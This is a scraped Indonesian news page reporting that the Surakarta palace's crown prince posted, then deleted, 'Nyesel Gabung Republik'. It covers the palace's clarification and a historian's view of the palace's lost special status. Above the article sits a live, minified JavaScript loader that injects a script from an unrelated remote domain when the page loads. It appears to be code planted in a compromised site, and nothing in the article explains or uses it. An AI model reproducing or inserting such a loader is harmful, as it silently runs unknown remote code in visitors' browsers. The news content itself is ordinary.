(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Viral

Kekecewaan Mendalam Sang Putra Mahkota: ‘Nyesel Gabung Republik’


PUTRA Mahkota Kasunanan Surakarta, Kanjeng Gusti Pangeran Adipati Anom (KGPAA) Hamangkunegoro Sudibya Rajaputra Narendra Mataram, mengunggah pernyataan di Instagram pribadinya, @kgpaa.hamangkunegoro.

Isinya sindiran tajam. “Nyesel Gabung Republik,” tulisnya.

Ia menambahkan kalimat lain. “Percuma Republik Kalau Cuma Untuk Membohongi.”

Kalimat ini diunggah dengan latar hitam di fitur Instagram story. Belakangan unggahan itu dihapus. Namun, tangkapan layarnya beredar luas di media sosial.

Baca juga: Anggaran MBG Rp82 Triliun Menguap? ICW Ungkap Kejanggalan!

Sang putra mahkota juga dikenal sebagai Gusti Purbaya. Ia putra bungsu dari Pakubuwono XIII dan GKR Pakubuwono, yang dinobatkan sebagai putra mahkota Keraton Kasunanan Surakarta pada 27 Februari 2022.

Keraton Surakarta memberikan klarifikasi pada Senin (3/3/2025) melalui Pengageng Sasana Wilapa Keraton Kasunanan, Kanjeng Pangeran Aryo Dany Nur Adiningrat.

Menurut Dany, unggahan tersebut merupakan bentuk kekecewaan Hamangkunegoro terhadap kondisi Indonesia saat ini. Termasuk mengenai dugaan korupsi di Pertamina yang mengecewakan masyarakat luas.

“Pernyataan itu bukanlah cerminan dari hilangnya semangat nasionalisme, patriotisme, atau jiwa bela negara dalam diri [Hamangkunegoro], melainkan suatu bentuk kritik dan sindiran terhadap para penyelenggara negara saat ini,” kata Dany, membacakan pernyataan tertulis Hamangkunegoro.

Hamangkunegoro menilai tata kelola pemerintahan saat ini jauh dari harapan para leluhurnya. “Padahal leluhur kami yang dahulu turut berperan dalam perjuangan kemerdekaan dan berdirinya Negara Kesatuan Republik Indonesia (NKRI).”

Baca juga: Kerusakan Jalan Kapuas-Mantangai, Bupati Wiyatno Minta Perbaikan Sebelum Idulfitri

Dany menjelaskan bahwa Sri Susuhunan Pakubuwono VI (1823-1830), dan Sri Susuhunan Pakubuwono X (1893-1939) yang telah diakui sebagai Pahlawan Nasional, serta Sri Susuhunan Pakubuwono XII (1945-2004) dengan sukarela menggabungkan negerinya yang telah berdaulat ke dalam NKRI.

“Unggahan [Hamangkunegoro] tersebut merupakan bentuk ekspresi kekecewaan sekaligus kritik terhadap kondisi pemerintahan saat ini,” kata Dany.

“Kami mendukung pemerintahan Prabowo-Gibran dalam upaya pemberantasan korupsi serta penegakan prinsip-prinsip ketatanegaraan sesuai dengan cita-cita para para pendiri bangsa dan nilai-nilai luhur Keraton Kasunanan Surakarta Hadiningrat.”

 

Kekecewaan Putra Mahkota Serius

Putra Mahkota Kraton Solo, KGPAA Hamangkunegoro Sudibya Rajaputra Narendra Mataram. Foto: Bidik layar/IG/kgpaa.hamangkunegoro

Sejarawan Universitas Gadjah Mada (UGM) Sri Margana menilai keluhan putra mahkota terkait situasi kekinian di Indonesia melalui Instagram sesuatu yang wajar. Keluhan itu dianggap mewakili suara masyarakat yang kecewa melihat pelbagai persoalan, seperti kasus korupsi Pertamina.

“Menurut saya dia sebagai seorang tokoh, public figure, sudah seharusnya juga untuk ikut menyuarakan hal itu,” kata Margana kepada Suara.com, Kamis (6/3).

Namun, ketika pernyataan putra mahkota menyinggung eksistensi Keraton yang dulu memilih bergabung dengan republik, Margana menilai itu menunjukkan tingkat kekecewaan yang lebih dalam.

Baca juga: Coffe Street Ala “Kopi Feelings”, Pilihan Santai Malam Hari Dekat Bandara

“Itu sesuatu yang serius,” katanya.

Margana menuturkan di kalangan Keraton terdapat falsafah “sabda pandhita ratu, tan kena wola-wali”. Maknanya, raja atau putra mahkota harus konsisten dengan sabdanya dan tidak ditarik kembali.

“Itulah mengapa raja atau putra mahkota hemat (bicara) di masa lalu, karena apa yang disampaikan, apa yang diomongkan itu harus konsisten antara ucapan dan tindakan,” ujar Margana.

“Dan kalau seorang raja sudah menyampaikan eksplisit atau putra mahkota sudah eksplisit menyampaikan hal itu, berarti itu hal yang serius.”

 

Kehilangan Status Istimewa

Kasunanan Surakarta pernah menjadi negara berbentuk kerajaan sebelum Republik Indonesia berdiri. Margana mengatakan, kerajaan ini memiliki istana, raja, pemerintahan, birokrasi, rakyat, dan wilayah sendiri.

Saat bergabung dengan RI, Sunan Surakarta memilih mengutamakan kebangsaan.

Baca juga: Bupati Banjar dan Jajaran bersama Wagub Kalsel Safari Ramadan ke Kecamatan Gambut

“Sikap Sunan itu sikap yang pas. Sikap yang patut diteladani,” kata Margana.

Bergabung dengan RI diharapkan membawa masa depan yang lebih baik dan kemakmuran tercapai. Namun, setelah puluhan tahun berlalu, keadaan tidak sesuai harapan.

“Keadaan tidak seperti yang diharapkan, ya wajar muncul kekecewaan seperti itu,” ujarnya.

Menurutnya, masyarakat sebaiknya mendukung kritik terhadap negara yang dilakukan putra mahkota Raja Solo tersebut.

Margana menjelaskan, Kesunanan Surakarta pada awal bergabung dengan Republik Indonesia mendapat status istimewa. Namun, pada 1946, status keistimewaan Surakarta dihapus. Penyebabnya adalah gerakan antiswapraja yang dipimpin kaum kiri. Mereka ingin revolusi total, termasuk menghapus feodalisme.

“Kalau dianggap sebagai daerah istimewa, itu berarti seperti masih mengakui feodalisme,” katanya.

Gerakan itu menganggap Keraton Kasunanan dan Mangkunegaran sebagai simbol feodalisme. Menurut Margana, kaum kiri melakukan penculikan dan pembunuhan terhadap pejabat istana.

Baca juga: Angka Kemiskinan di Kabupaten Banjar Terus Berkurang

“Sebagai responsnya, termasuk Perdana Menteri Sjahrir waktu itu, untuk menghindari kekerasan lebih lanjut, hak istimewa itu kemudian dicabut,” ujar Margana.

Setelah itu, ketika Yogyakarta mendapatkan status keistimewaan, Surakarta juga menginginkan hal yang sama. Tapi, dukungan publik kurang, dan upaya-upaya politik yang dilakukan tidak cukup melapangkan jalan bagi pemerintah pusat menjadikan Surakarta daerah istimewa.

“Hingga akhirnya, Surakarta tidak lain, tidak lebih, hanya menjadi bagian dari Jawa Tengah,” kata Margana.

 

Pengaruh Keraton Sebatas Ritual Budaya

Sejumlah prajurit Keraton Kasunanan Surakarta melakukan kirab di Solo, Jawa Tengah. Foto: Bidik layar/Antara

Lantas apakah Kasunanan Surakarta berpeluang kembali mendapat status istimewa?

“Ya, peluang itu ada saja sebenarnya, kalau mau diusahakan,” kata Margana.

Baca juga: Aa Gym Isi Kajian Subuh di Masjid Al Jihad Banjarmasin

“Cuma, apakah mendapat dukungan publik dan pemerintah atau tidak? Apakah masih relevan dengan kondisi atau kebutuhan masyarakat di masa depan atau tidak? itu nanti harus rakyat yang menentukan.”

Margana menilai kondisi Keraton Surakarta saat ini tidak terawat. Banyak bangunan istana mengalami kerusakan. Dibandingkan dengan Kesultanan Yogyakarta, keadaannya jauh berbeda.

Ada peluang untuk memperbaiki kondisi Keraton. Tapi, hal itu tergantung pada dukungan rakyat dan pemerintah.

“Kalau seandainya Surakarta juga menjadi daerah istimewa, ya bisa lebih baik,” kata Margana.

Menurutnya, Yogyakarta bisa berkembang karena Sultan dan Pakualam rukun serta bekerja sama. Hal yang sama harus terjadi di Surakarta.

Namun, di Kasunanan Surakarta sering terjadi konflik internal. Hal ini menghambat upaya pelestarian budaya. Bahkan, ada pintu-pintu yang dikunci, menyulitkan pemerintah daerah dalam membantu perbaikan.

Baca juga: Bupati Kapuas Bersilaturrahmi dengan Tokoh Agama dan Organisasi Islam

Saat ini, pengaruh Keraton Surakarta bagi masyarakat terbatas pada ritual budaya. Keraton tidak lagi memiliki kekuatan politik seperti di masa lalu.

“Sehingga memang suaranya, secara karismatik, itu menurun. Kalau ingin menaikkan kembali karisma Keraton, maka Keraton harus memberi contoh yang baik,” imbuhnya.

Keraton harus melakukan perubahan positif dan bekerja sama dengan rakyat untuk memajukan kebudayaan. Selain itu, Keraton juga perlu mengkritik pemerintah agar suara mereka kembali didengar.

“Dan saya setuju, Keraton juga harus terus melakukan kritik terhadap pemerintahan untuk memperbaiki keadaan,” kata Margana.

“Dengan begitu, suara-suara dari Keraton bisa terdengar, dan rakyat jadi tahu bahwa para raja ini juga punya perhatian terhadap kondisi masyarakat.”. (Kanalkalimantan/Suara.com/kk)

Editor: kk


Risa

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

12 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

15 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

16 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

19 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

21 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

23 jam ago